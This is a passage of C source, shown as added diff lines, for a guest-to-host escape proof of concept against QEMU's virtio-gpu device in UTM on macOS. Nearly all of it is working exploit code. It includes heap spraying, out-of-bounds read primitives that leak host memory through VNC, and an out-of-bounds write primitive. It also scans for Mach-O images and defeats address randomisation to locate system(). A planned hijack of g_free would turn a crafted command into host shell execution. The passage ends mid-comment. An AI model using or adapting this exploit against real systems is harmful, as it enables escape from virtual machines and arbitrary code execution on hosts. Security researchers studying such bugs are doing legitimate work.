*)nbar + notify_offset; + } + + return 0; +} + +static int setup_virtqueue(void) +{ + write16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_SELECT, 0); + __sync_synchronize(); + + vq_size = read16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_SIZE); + queue_notify_off = read16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_NOFF); + + printf(" Queue 0: size=%u notify_off=%u\n", vq_size, queue_notify_off); + + if (vq_size == 0 || vq_size > 256) { + printf(" Bad queue size\n"); + return -1; + } + + size_t total = 16 * 4096; + vq_pages = mmap(NULL, total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED, -1, 0); + if (vq_pages == MAP_FAILED) { + printf(" mmap failed: %s\n", strerror(errno)); + return -1; + } + memset(vq_pages, 0, total); + mlock(vq_pages, total); + + for (size_t i = 0; i < total; i += 4096) + ((volatile char *)vq_pages)[i] = 0; + + descs = (struct vring_desc *)((uint8_t *)vq_pages + 0 * 4096); + avail = (struct vring_avail *)((uint8_t *)vq_pages + 2 * 4096); + used = (struct vring_used *)((uint8_t *)vq_pages + 3 * 4096); + cmd_region = (uint8_t *)vq_pages + 4 * 4096; + resp_region = (uint8_t *)vq_pages + 5 * 4096; + data_region = (uint8_t *)vq_pages + 6 * 4096; + + desc_pa = virt_to_phys(descs); + avail_pa = virt_to_phys(avail); + used_pa = virt_to_phys(used); + cmd_region_pa = virt_to_phys(cmd_region); + resp_region_pa = virt_to_phys(resp_region); + data_region_pa = virt_to_phys(data_region); + + if (!desc_pa || !avail_pa || !used_pa || + !cmd_region_pa || !resp_region_pa || !data_region_pa) { + printf(" Cannot determine physical addresses (need root + pagemap)\n"); + return -1; + } + + avail_idx = 0; + used_last = 0; + + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_DESCLO, desc_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_DESCHI, desc_pa >> 32); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_AVAILLO, avail_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_AVAILHI, avail_pa >> 32); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_USEDLO, used_pa & 0xFFFFFFFF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_Q_USEDHI, used_pa >> 32); + + write16((void *)common_cfg + VIRTIO_PCI_COMMON_Q_ENABLE, 1); + __sync_synchronize(); + + return 0; +} + +static int init_virtio_device(const char *pci_path) +{ + printf("[*] Initializing virtio device at %s\n", pci_path); + + if (parse_virtio_caps(pci_path)) + return -1; + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, 0); + __sync_synchronize(); + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE); + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER); + + write32((void *)common_cfg + VIRTIO_PCI_COMMON_DFSELECT, 0); + __sync_synchronize(); + uint32_t features = read32((void *)common_cfg + VIRTIO_PCI_COMMON_DF); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_GFSELECT, 0); + write32((void *)common_cfg + VIRTIO_PCI_COMMON_GF, features); + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER | + VIRTIO_STATUS_FEATURES_OK); + __sync_synchronize(); + + uint8_t status = read8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS); + if (!(status & VIRTIO_STATUS_FEATURES_OK)) { + printf(" Features negotiation failed\n"); + return -1; + } + + if (setup_virtqueue()) + return -1; + + write8((void *)common_cfg + VIRTIO_PCI_COMMON_STATUS, + VIRTIO_STATUS_ACKNOWLEDGE | VIRTIO_STATUS_DRIVER | + VIRTIO_STATUS_FEATURES_OK | VIRTIO_STATUS_DRIVER_OK); + __sync_synchronize(); + + printf("[+] Virtio device initialized\n\n"); + return 0; +} + +/* ---------- Exploit GPU commands ---------- */ + + +static int cmd_create_resource(uint32_t res_id, uint32_t w, uint32_t h) +{ + struct virtio_gpu_resource_create_2d cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D, + .resource_id = res_id, + .format = VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM, + .width = w, + .height = h, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) { + printf(" FAILED: resp=0x%x\n", resp.type); + return -1; + } + return 0; +} + +static int cmd_set_scanout(uint32_t res_id, uint32_t x, uint32_t y, + uint32_t w, uint32_t h) +{ + struct virtio_gpu_set_scanout cmd = { + .hdr.type = VIRTIO_GPU_CMD_SET_SCANOUT, + .r = { .x = x, .y = y, .width = w, .height = h }, + .scanout_id = 0, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_resource_flush(uint32_t res_id, uint32_t w, uint32_t h) +{ + struct virtio_gpu_resource_flush cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_FLUSH, + .r = { .x = 0, .y = 0, .width = w, .height = h }, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + return vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp)); +} + +static int cmd_attach_backing(uint32_t res_id) +{ + struct { + struct virtio_gpu_resource_attach_backing hdr; + } cmd = { + .hdr.hdr.type = VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING, + .hdr.resource_id = res_id, + .hdr.nr_entries = 1, + }; + struct virtio_gpu_mem_entry entry = { + .addr = data_region_pa, + .length = 4096, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + memset(data_region, 0, 4096); + + if (vq_send_cmd_data(&cmd, sizeof(cmd), &entry, sizeof(entry), + &resp, sizeof(resp))) + return -1; + + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +/* + * Send ATTACH_BACKING claiming more entries than we provide. QEMU's + * virtio_gpu_create_mapping_iov g_malloc's ents[nr_entries*16], iov_to_buf + * copies our payload bytes into ents[0..len-1], the short-read check + * fails (len < nr_entries*16), and the error path does g_free(ents). + * With la_symbol_ptr[g_free] redirected to system(), that becomes + * system(payload). Payload must be NUL-terminated within len. + */ +static int cmd_attach_backing_short(uint32_t res_id, + const void *payload, uint32_t len) +{ + struct virtio_gpu_resource_attach_backing cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING, + .resource_id = res_id, + .nr_entries = (len / 16) + 1, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + return vq_send_cmd_data(&cmd, sizeof(cmd), + (void *)payload, len, + &resp, sizeof(resp)); +} + +static int cmd_transfer(uint32_t res_id, uint32_t rx, uint32_t ry, + uint32_t rw, uint32_t rh, uint64_t offset) +{ + struct virtio_gpu_transfer_to_host_2d cmd = { + .hdr.type = VIRTIO_GPU_CMD_TRANSFER_TO_HOST_2D, + .r = { .x = rx, .y = ry, .width = rw, .height = rh }, + .offset = offset, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + + if (vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp))) + return -1; + + if (resp.type != VIRTIO_GPU_RESP_OK_NODATA) + return -1; + return 0; +} + +static int cmd_unref(uint32_t res_id) +{ + struct virtio_gpu_resource_unref cmd = { + .hdr.type = VIRTIO_GPU_CMD_RESOURCE_UNREF, + .resource_id = res_id, + }; + struct virtio_gpu_ctrl_hdr resp = {}; + return vq_send_cmd(&cmd, sizeof(cmd), &resp, sizeof(resp)); +} + +/* ---------- Unbind existing driver ---------- */ + +static int unbind_existing_driver(const char *pci_path) +{ + char driver_link[512], driver_name[256]; + char unbind_path[512]; + ssize_t len; + + snprintf(driver_link, sizeof(driver_link), "%s/driver", pci_path); + len = readlink(driver_link, driver_name, sizeof(driver_name) - 1); + if (len < 0) { + printf("[*] No driver currently bound\n"); + return 0; + } + driver_name[len] = '\0'; + + char *base = strrchr(driver_name, '/'); + base = base ? base + 1 : driver_name; + printf("[*] Unbinding driver '%s'\n", base); + + const char *bdf = strrchr(pci_path, '/'); + bdf = bdf ? bdf + 1 : pci_path; + + snprintf(unbind_path, sizeof(unbind_path), "%s/driver/unbind", pci_path); + int fd = open(unbind_path, O_WRONLY); + if (fd < 0) { + printf(" Cannot open unbind: %s\n", strerror(errno)); + return -1; + } + write(fd, bdf, strlen(bdf)); + close(fd); + + usleep(100000); + printf(" [+] Driver unbound\n"); + return 0; +} + +/* ---------- Minimal VNC client ---------- */ + +static int vnc_fd = -1; + +static int recv_full(int fd, void *buf, size_t len) +{ + size_t done = 0; + while (done < len) { + struct pollfd pfd = { .fd = fd, .events = POLLIN }; + int pr = poll(&pfd, 1, 3000); + if (pr <= 0) + return -2; + ssize_t n = recv(fd, (uint8_t *)buf + done, len - done, 0); + if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) + return -2; + return -1; + } + if (n == 0) return -1; + done += n; + } + return 0; +} + +static int send_full(int fd, const void *buf, size_t len) +{ + size_t done = 0; + while (done < len) { + ssize_t n = send(fd, (const uint8_t *)buf + done, len - done, 0); + if (n <= 0) return -1; + done += n; + } + return 0; +} + +static int vnc_connect(void) +{ + vnc_fd = socket(AF_INET, SOCK_STREAM, 0); + if (vnc_fd < 0) return -1; + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(VNC_PORT), + }; + inet_pton(AF_INET, VNC_HOST, &addr.sin_addr); + + if (connect(vnc_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + close(vnc_fd); + vnc_fd = -1; + return -1; + } + + struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; + setsockopt(vnc_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + int nodelay = 1; + setsockopt(vnc_fd, IPPROTO_TCP, TCP_NODELAY, &nodelay, sizeof(nodelay)); + + char ver[12]; + if (recv_full(vnc_fd, ver, 12)) return -1; + if (send_full(vnc_fd, "RFB 003.008\n", 12)) return -1; + + uint8_t num_sec; + if (recv_full(vnc_fd, &num_sec, 1)) return -1; + uint8_t sec_types[256]; + if (recv_full(vnc_fd, sec_types, num_sec)) return -1; + + uint8_t chosen = 1; + if (send_full(vnc_fd, &chosen, 1)) return -1; + + uint32_t sec_result; + if (recv_full(vnc_fd, &sec_result, 4)) return -1; + if (sec_result != 0) return -1; + + uint8_t shared = 1; + if (send_full(vnc_fd, &shared, 1)) return -1; + + uint8_t server_init[24]; + if (recv_full(vnc_fd, server_init, 24)) return -1; + uint32_t name_len; + memcpy(&name_len, server_init + 20, 4); + name_len = ntohl(name_len); + char name[256] = {}; + if (name_len > 0 && name_len < sizeof(name)) { + if (recv_full(vnc_fd, name, name_len)) return -1; + } + + uint16_t fb_w, fb_h; + memcpy(&fb_w, server_init + 0, 2); + memcpy(&fb_h, server_init + 2, 2); + fb_w = ntohs(fb_w); + fb_h = ntohs(fb_h); + printf(" VNC connected: %ux%u \"%s\"\n", fb_w, fb_h, name); + + uint8_t spf[20] = {}; + spf[0] = 0; + spf[4] = 32; + spf[5] = 24; + spf[6] = 0; + spf[7] = 1; + spf[8] = 0; spf[9] = 0xff; + spf[10] = 0; spf[11] = 0xff; + spf[12] = 0; spf[13] = 0xff; + spf[14] = 16; + spf[15] = 8; + spf[16] = 0; + if (send_full(vnc_fd, spf, 20)) return -1; + + return 0; +} + +static int vnc_send_update_request(uint16_t req_w, uint16_t req_h) +{ + uint8_t req[10]; + req[0] = 3; + req[1] = 0; + req[2] = 0; req[3] = 0; + req[4] = 0; req[5] = 0; + uint16_t w = htons(req_w); + uint16_t h = htons(req_h); + memcpy(req + 6, &w, 2); + memcpy(req + 8, &h, 2); + return send_full(vnc_fd, req, 10); +} + +static int vnc_recv_update(uint8_t *out, size_t out_len) +{ + for (;;) { + uint8_t msg_type; + if (recv_full(vnc_fd, &msg_type, 1)) return -1; + + if (msg_type == 0) { + uint8_t pad; + uint16_t num_rects; + if (recv_full(vnc_fd, &pad, 1)) return -1; + if (recv_full(vnc_fd, &num_rects, 2)) return -1; + num_rects = ntohs(num_rects); + + size_t total_read = 0; + for (int i = 0; i < num_rects; i++) { + uint16_t rx, ry, rw, rh; + int32_t encoding; + if (recv_full(vnc_fd, &rx, 2)) return -1; + if (recv_full(vnc_fd, &ry, 2)) return -1; + if (recv_full(vnc_fd, &rw, 2)) return -1; + if (recv_full(vnc_fd, &rh, 2)) return -1; + if (recv_full(vnc_fd, &encoding, 4)) return -1; + rw = ntohs(rw); + rh = ntohs(rh); + encoding = (int32_t)ntohl((uint32_t)encoding); + + size_t pixel_bytes = (size_t)rw * rh * 4; + if (encoding == 0) { + if (total_read + pixel_bytes <= out_len) { + if (recv_full(vnc_fd, out + total_read, pixel_bytes)) + return -1; + } else { + uint8_t drain[1024]; + size_t left = pixel_bytes; + size_t can_store = (total_read < out_len) ? + out_len - total_read : 0; + if (can_store > 0) { + if (recv_full(vnc_fd, out + total_read, can_store)) + return -1; + left -= can_store; + } + while (left > 0) { + size_t chunk = left < sizeof(drain) ? left : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + left -= chunk; + } + } + total_read += pixel_bytes; + } else if (encoding == -223 || encoding == -224) { + continue; + } else if (encoding == -239) { + size_t cursor_data = (size_t)rw * rh * 4; + size_t mask_data = (size_t)((rw + 7) / 8) * rh; + uint8_t drain[1024]; + size_t left = cursor_data + mask_data; + while (left > 0) { + size_t chunk = left < sizeof(drain) ? left : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + left -= chunk; + } + } else { + continue; + } + } + return 0; + } else if (msg_type == 3) { + uint8_t sct_hdr[7]; + if (recv_full(vnc_fd, sct_hdr, 7)) return -1; + uint32_t text_len; + memcpy(&text_len, sct_hdr + 3, 4); + text_len = ntohl(text_len); + uint8_t drain[256]; + while (text_len > 0) { + size_t chunk = text_len < sizeof(drain) ? text_len : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + text_len -= chunk; + } + } else { + printf(" [!] Unexpected VNC message type %d\n", msg_type); + return -1; + } + } +} + +static int vnc_read_framebuffer(uint8_t *out, size_t out_len, + uint16_t req_w, uint16_t req_h) +{ + if (vnc_send_update_request(req_w, req_h)) return -1; + return vnc_recv_update(out, out_len); +} + +/* ---------- OOB read primitives ---------- */ + +static int oob_read_count = 0; + +static int oob_read_ex(uint32_t res_id, uint64_t byte_offset, + uint16_t scan_w, uint16_t scan_h, + uint8_t *vnc_buf, size_t vnc_buf_len, + uint8_t *linear_out, size_t linear_len) +{ + uint32_t rx = (uint32_t)(byte_offset / 4); + oob_read_count++; + + if (cmd_set_scanout(res_id, rx, 0, scan_w, scan_h)) + return -1; + if (cmd_resource_flush(res_id, scan_w, scan_h)) + return -1; + if (vnc_send_update_request(scan_w, scan_h)) + return -1; + + int rc = vnc_recv_update(vnc_buf, vnc_buf_len); + + /* Reset scanout to offset 0 (within the buffer) so SPICE's next + gui_update timer tick reads safe memory, not OOB. */ + cmd_set_scanout(res_id, 0, 0, scan_w, scan_h); + + if (rc == 0 && linear_out && linear_len > 0) { + size_t row_bytes = (size_t)scan_w * 4; + size_t copy = linear_len < row_bytes ? linear_len : row_bytes; + memcpy(linear_out, vnc_buf, copy); + } + return rc; +} + +static uint8_t page_vnc_buf[PAGE_VNC_BYTES]; /* 256KB */ + +static int oob_page_read(uint32_t res_id, uint64_t byte_offset, + uint8_t *out, size_t out_len) +{ + return oob_read_ex(res_id, byte_offset, PAGE_SCAN_W, PAGE_SCAN_H, + page_vnc_buf, sizeof(page_vnc_buf), + out, out_len); +} + +static uint8_t read_vnc_buf[READ_VNC_BYTES]; + +static int oob_read(uint32_t res_id, uint64_t byte_offset, + uint8_t *linear_out, size_t linear_len) +{ + return oob_read_ex(res_id, byte_offset, READ_W, READ_H, + read_vnc_buf, sizeof(read_vnc_buf), + linear_out, linear_len); +} + +static uint8_t scan_vnc_buf[SCAN_VNC_BYTES]; + +static int oob_scan_read(uint32_t res_id, uint64_t byte_offset, + uint8_t *linear_out, size_t linear_len) +{ + return oob_read_ex(res_id, byte_offset, SCAN_W, SCAN_H, + scan_vnc_buf, sizeof(scan_vnc_buf), + linear_out, linear_len); +} + +/* ---------- OOB write primitive ---------- */ + +static int oob_write_8(uint32_t res_id, uint64_t byte_offset, uint64_t value) +{ + if (byte_offset % 4 != 0) { + printf("[!] oob_write: offset not 4-byte aligned\n"); + return -1; + } + uint32_t rx = (uint32_t)(byte_offset / 4); + memcpy(data_region, &value, 8); + return cmd_transfer(res_id, rx, 0, 2, 1, 0); +} + +/* ---------- Main ---------- */ + +int main(int argc, char *argv[]) +{ + char pci_path[512]; + + printf("============================================\n"); + printf(" QEMU virtio-gpu guest-to-host exploit PoC\n"); + printf(" Target: UTM.app (QEMU 10.0.2) on macOS\n"); + printf(" Attack: pixman dispatch hijack via OOB\n"); + printf(" Variant: SPICE-safe (post-filler scan)\n"); + printf("============================================\n\n"); + + if (find_virtio_gpu_pci(pci_path, sizeof(pci_path))) { + printf("[!] No virtio-gpu PCI device found\n"); + return 1; + } + printf("[+] Found virtio-gpu at %s\n", pci_path); + + if (unbind_existing_driver(pci_path)) + return 1; + + if (init_virtio_device(pci_path)) + return 1; + + /* ========== Phase 1: Spray + Create overflow resource ========== */ + + printf("========================================\n"); + printf(" Phase 1: Overflow resource then fill\n"); + printf("========================================\n\n"); + + /* Connect VNC first — QEMU's main loop is still responsive before + resource creations saturate the event loop. */ + printf("[*] Connecting to VNC at %s:%d...\n", VNC_HOST, VNC_PORT); + fflush(stdout); + int retries = 0; + while (vnc_connect() != 0) { + if (++retries > 20) { + printf("[!] Cannot connect to VNC server\n"); + return 1; + } + printf(" Retrying (%d)...\n", retries); + fflush(stdout); + if (vnc_fd >= 0) { close(vnc_fd); vnc_fd = -1; } + sleep(1); + } + printf(" [+] VNC connected\n\n"); + fflush(stdout); + + /* Create exploit buffer FIRST — gets a low heap address. + Then spray+fill everything forward to cover framework gaps. */ + printf("[*] RESOURCE_CREATE_2D: %u x %u BGRA8888\n", + EXPLOIT_WIDTH, EXPLOIT_HEIGHT); + printf(" stride=4, hostmem=%u bytes (%d pages)\n", + EXPECTED_BUF, MMAP_PAGES); + printf(" Creating exploit buffer BEFORE spray (low address)\n"); + + if (cmd_create_resource(RES_EXPLOIT, EXPLOIT_WIDTH, EXPLOIT_HEIGHT)) { + printf("[!] Resource creation failed\n"); + return 1; + } + if (cmd_attach_backing(RES_EXPLOIT)) { + printf("[!] Attach backing failed\n"); + return 1; + } + printf(" [+] Exploit resource %d created\n\n", RES_EXPLOIT); + + /* Spray AFTER buffer — fills free regions forward from the buffer, + including gaps between frameworks. This makes all forward OOB + reads land on mapped memory (spray zeros or framework data). */ + printf("[*] Spraying %d resources to fill forward gaps...\n", + SPRAY_COUNT); + fflush(stdout); + int spray_ok = 0; + for (int i = 0; i < SPRAY_COUNT; i++) { + uint32_t sid = SPRAY_RES_START + i; + if (cmd_create_resource(sid, SPRAY_WIDTH, SPRAY_HEIGHT) == 0) + spray_ok++; + } + printf(" [+] %d/%d spray resources created (%d MB)\n", + spray_ok, SPRAY_COUNT, + (int)((uint64_t)spray_ok * SPRAY_WIDTH * SPRAY_HEIGHT * 4 / (1024*1024))); + fflush(stdout); + + /* Fill remaining hostmem budget with more resources */ + printf("[*] Filling remaining hostmem budget...\n"); + fflush(stdout); + int filler_ok = 0; + for (int i = 0; i < 400; i++) { + uint32_t fid = FILLER_RES_START + i; + if (cmd_create_resource(fid, FILLER_WIDTH, FILLER_HEIGHT) != 0) + break; + filler_ok++; + } + printf(" [+] %d filler resources created (%d MB)\n", + filler_ok, + (int)((uint64_t)filler_ok * FILLER_WIDTH * FILLER_HEIGHT * 4 / (1024*1024))); + printf(" Total: exploit 256KB + spray %dMB + filler %dMB\n", + (int)((uint64_t)spray_ok * SPRAY_WIDTH * SPRAY_HEIGHT * 4 / (1024*1024)), + (int)((uint64_t)filler_ok * FILLER_WIDTH * FILLER_HEIGHT * 4 / (1024*1024))); + fflush(stdout); + + /* Warmup: establish VNC framebuffer with scan dimensions */ + cmd_set_scanout(RES_EXPLOIT, 0, 0, SCAN_W, SCAN_H); + cmd_resource_flush(RES_EXPLOIT, SCAN_W, SCAN_H); + usleep(200000); + vnc_read_framebuffer(scan_vnc_buf, sizeof(scan_vnc_buf), SCAN_W, SCAN_H); + printf("\n"); + + /* ========== Phase 2: VNC info leak — find pixman ========== */ + + printf("========================================\n"); + printf(" Phase 2: OOB scan for pixman / QEMU\n"); + printf("========================================\n\n"); + + uint64_t pixman_oob = 0; + uint64_t qemu_oob = 0; + int machos_found = 0; + int scan_reads = 0; + int zero_streak = 0; + + /* + * Post-filler scan. ALL forward memory from the buffer is now mapped: + * either post-filler resources (read as zeros) or framework data. + * We scan with 4MB strides — every read is safe. Zeros mean we're + * still in post-filler/heap territory. Non-zero means framework data. + * + * If we see 3+ consecutive zero pages after seeing at least one non-zero, + * we've likely passed the framework region — stop scanning. If we hit + * SCAN_MAX_PAGE without finding anything (Case B), give up gracefully. + */ + + printf("[*] Post-filler scan: page %d to %d, stride %d " + "(%d pixman + %d qemu fingerprints)\n", + SCAN_START_PAGE, SCAN_MAX_PAGE, SCAN_STRIDE_PAGES, + (int)N_PIXMAN_SIGS, (int)N_QEMU_SIGS); + printf(" All reads are safe (post-fillers guarantee mapped memory)\n"); + fflush(stdout); + + for (uint32_t pg = SCAN_START_PAGE; pg <= SCAN_MAX_PAGE; + pg += SCAN_STRIDE_PAGES) { + uint64_t off = (uint64_t)pg * PAGE_SIZE; + + printf(" page %u (+%.1f MB)...", + pg, (double)off / (1024*1024)); + fflush(stdout); + + scan_reads++; + uint8_t hdr_buf[SCAN_LINEAR]; + if (oob_scan_read(RES_EXPLOIT, off, hdr_buf, SCAN_LINEAR)) { + printf(" READ FAILED\n"); + fflush(stdout); + continue; + } + + int all_zero = 1; + for (int z = 0; z < SCAN_LINEAR; z += 8) { + uint64_t v; + memcpy(&v, hdr_buf + z, 8); + if (v) { all_zero = 0; break; } + } + if (all_zero) { + zero_streak++; + printf(" zeros (streak %d)\n", zero_streak); + fflush(stdout); + if (zero_streak >= 5 && machos_found > 0) + break; + continue; + } + zero_streak = 0; + + uint32_t magic; + memcpy(&magic, hdr_buf, 4); + + uint64_t sig8; + memcpy(&sig8, hdr_buf, 8); + int pidx = pixman_sig_lookup(sig8); + if (pidx >= 0) { + pixman_oob = off - (uint64_t)pidx * PAGE_SIZE; + printf(" PIXMAN fingerprint (page %d)!\n", pidx); + printf(" -> pixman base = +0x%lx\n", + (unsigned long)pixman_oob); + fflush(stdout); + goto found_pixman; + } + + int qidx = qemu_sig_lookup(sig8); + if (qidx >= 0 && !qemu_oob) { + uint64_t qpage_off = (uint64_t)qidx * PAGE_SIZE; + if (qpage_off <= off) { + uint64_t cand = off - qpage_off; + uint8_t chk[SCAN_LINEAR]; + printf(" QEMU fingerprint (page %d) -> verify +0x%lx...", + qidx, (unsigned long)cand); + fflush(stdout); + if (oob_scan_read(RES_EXPLOIT, cand, chk, SCAN_LINEAR) == 0) { + uint32_t cmagic, csize; + memcpy(&cmagic, chk, 4); + memcpy(&csize, chk + 0x14, 4); + if (cmagic == 0xFEEDFACF && csize == QEMU_SIZEOFCMDS) { + qemu_oob = cand; + printf(" CONFIRMED\n"); + printf(" -> qemu base = +0x%lx\n", + (unsigned long)qemu_oob); + fflush(stdout); + break; + } + } + printf(" no\n"); + fflush(stdout); + continue; + } + } + + if (magic == 0xFEEDFACF) { + uint32_t sizeofcmds; + memcpy(&sizeofcmds, hdr_buf + 0x14, 4); + machos_found++; + + if (sizeofcmds == PIXMAN_SIZEOFCMDS || + sizeofcmds == PIXMAN_SIZEOFCMDS_ALT) { + printf(" PIXMAN Mach-O (sizeofcmds=0x%x)!\n", sizeofcmds); + fflush(stdout); + pixman_oob = off; + goto found_pixman; + } + + if (sizeofcmds == QEMU_SIZEOFCMDS) { + printf(" QEMU Mach-O (sizeofcmds=0x%x)!\n", sizeofcmds); + fflush(stdout); + if (!qemu_oob) + qemu_oob = off; + break; + } + + printf(" Mach-O sizeofcmds=0x%x (other)\n", sizeofcmds); + fflush(stdout); + } else { + /* Non-zero, non-fingerprint, non-Mach-O: read wider for analysis */ + uint8_t wide_buf[READ_LINEAR]; + if (oob_read(RES_EXPLOIT, off, wide_buf, READ_LINEAR) == 0) { + int sc_ptrs = 0, fw_ptrs = 0; + for (int z = 0; z < READ_LINEAR; z += 8) { + uint64_t v; + memcpy(&v, wide_buf + z, 8); + if (v >= 0x180000000ULL && v <= 0x280000000ULL) + sc_ptrs++; + if (v >= 0x100000000ULL && v <= 0x110000000ULL) + fw_ptrs++; + } + printf(" data (%d sc-ptrs, %d fw-ptrs)\n", sc_ptrs, fw_ptrs); + /* Dump first 8 qwords for diagnostic */ + printf(" "); + for (int z = 0; z < 64 && z < READ_LINEAR; z += 8) { + uint64_t v; + memcpy(&v, wide_buf + z, 8); + printf(" %016lx", (unsigned long)v); + } + printf("\n"); + fflush(stdout); + } else { + printf(" data (wide read failed)\n"); + fflush(stdout); + } + } + } + + /* Scan complete — check what we found */ + if (!pixman_oob && !qemu_oob) { + printf("[!] Neither pixman nor QEMU found (%d reads, %d Mach-Os)\n", + scan_reads, machos_found); + return 1; + } + + /* + * If we found QEMU but not pixman directly, derive pixman base + * from QEMU's non-lazy GOT entry for _pixman_image_unref. + */ + uint64_t pixman_base = 0, pixbuf_addr = 0, sc_slide = 0; + uint64_t system_addr = 0, ret_gadget = 0; + int via_qemu_got __attribute__((unused)) = 0; + + if (pixman_oob) { + goto found_pixman; + } + + /* --- Derive pixman from QEMU GOT --- */ + printf("\n[*] pixman not found directly; deriving from QEMU GOT\n"); + printf(" QEMU at OOB +0x%lx\n", (unsigned long)qemu_oob); + + { + uint8_t got8[8]; + + /* Read pixman_image_unref address from QEMU non-lazy GOT */ + uint64_t got_off = qemu_oob + QEMU_GOT_PIXMAN_UNREF; + printf("[*] Reading QEMU GOT[pixman_image_unref] at +0x%lx...\n", + (unsigned long)got_off); + if (oob_read(RES_EXPLOIT, got_off, got8, 8)) { + printf("[!] Failed to read QEMU GOT\n"); + return 1; + } + uint64_t unref_addr; + memcpy(&unref_addr, got8, 8); + printf(" pixman_image_unref = 0x%lx\n", (unsigned long)unref_addr); + + pixman_base = unref_addr - PIXMAN_IMAGE_UNREF_OFF; + printf(" pixman base = 0x%lx\n", (unsigned long)pixman_base); + + /* Read free() from QEMU la_symbol_ptr to get shared cache slide */ + uint64_t free_off = qemu_oob + QEMU_LA_FREE; + printf("[*] Reading QEMU la_sym[free] at +0x%lx...\n", + (unsigned long)free_off); + if (oob_read(RES_EXPLOIT, free_off, got8, 8)) { + printf("[!] Failed to read QEMU free() stub\n"); + return 1; + } + uint64_t free_resolved; + memcpy(&free_resolved, got8, 8); + printf(" free() = 0x%lx\n", (unsigned long)free_resolved); + + if (free_resolved < 0x180000000ULL || free_resolved > 0x280000000ULL) { + printf("[!] free() looks unresolved (0x%lx)\n", + (unsigned long)free_resolved); + return 1; + } + + sc_slide = free_resolved - FREE_UNSLID; + system_addr = SYSTEM_UNSLID + sc_slide; + printf(" shared cache slide = 0x%lx\n", (unsigned long)sc_slide); + printf(" system() = 0x%lx\n", (unsigned long)system_addr); + + /* Derive pixbuf_addr from QEMU's rebased __mod_init_func[0] */ + uint64_t mif_off = qemu_oob + QEMU_MOD_INIT_FUNC; + printf("[*] Reading QEMU __mod_init_func[0] at +0x%lx...\n", + (unsigned long)mif_off); + if (oob_read(RES_EXPLOIT, mif_off, got8, 8)) { + printf("[!] Failed to read QEMU __mod_init_func\n"); + return 1; + } + uint64_t mif_val; + memcpy(&mif_val, got8, 8); + uint64_t qemu_base_abs = mif_val - QEMU_MOD_INIT_TGT; + pixbuf_addr = qemu_base_abs - qemu_oob; + printf(" __mod_init_func[0] = 0x%lx\n", (unsigned long)mif_val); + printf(" QEMU base (abs) = 0x%lx\n", (unsigned long)qemu_base_abs); + printf(" pixbuf addr = 0x%lx\n", (unsigned long)pixbuf_addr); + + /* Check if pixman __DATA targets are reachable (forward from buffer) */ + uint64_t global_imp_abs = pixman_base + PIXMAN_GLOBAL_IMP; + uint64_t tls_thunk_abs = pixman_base + PIXMAN_TLS_THUNK; + + if (global_imp_abs < pixbuf_addr || tls_thunk_abs < pixbuf_addr) { + printf("[!] pixman __DATA is BEFORE the buffer (memfd layout)\n"); + printf(" pixman _global_imp = 0x%lx (buf = 0x%lx)\n", + (unsigned long)global_imp_abs, (unsigned long)pixbuf_addr); + printf(" Falling back to QEMU la_symbol_ptr hijack\n\n"); + + /* + * UTM 4.7.5 memfd layout: RES_EXPLOIT lands in a 256K hole + * among the bundled frameworks, and pixman (2.4 MB) sits a + * few MB BEHIND it, so the forward-only OOB write can't + * reach pixman __DATA. QEMU __DATA at qemu_oob+0x1860000 + * is ~70 MB FORWARD and IS reachable, so hijack g_free + * instead. + * + * Chain: overwrite QEMU __la_symbol_ptr[_g_free] -> system, + * then send ATTACH_BACKING with nr_entries=2 but only 16 + * bytes of entry data. virtio_gpu_create_mapping_iov + * g_malloc's a 32-byte ents[], iov_to_buf copies our 16 + * bytes verbatim into 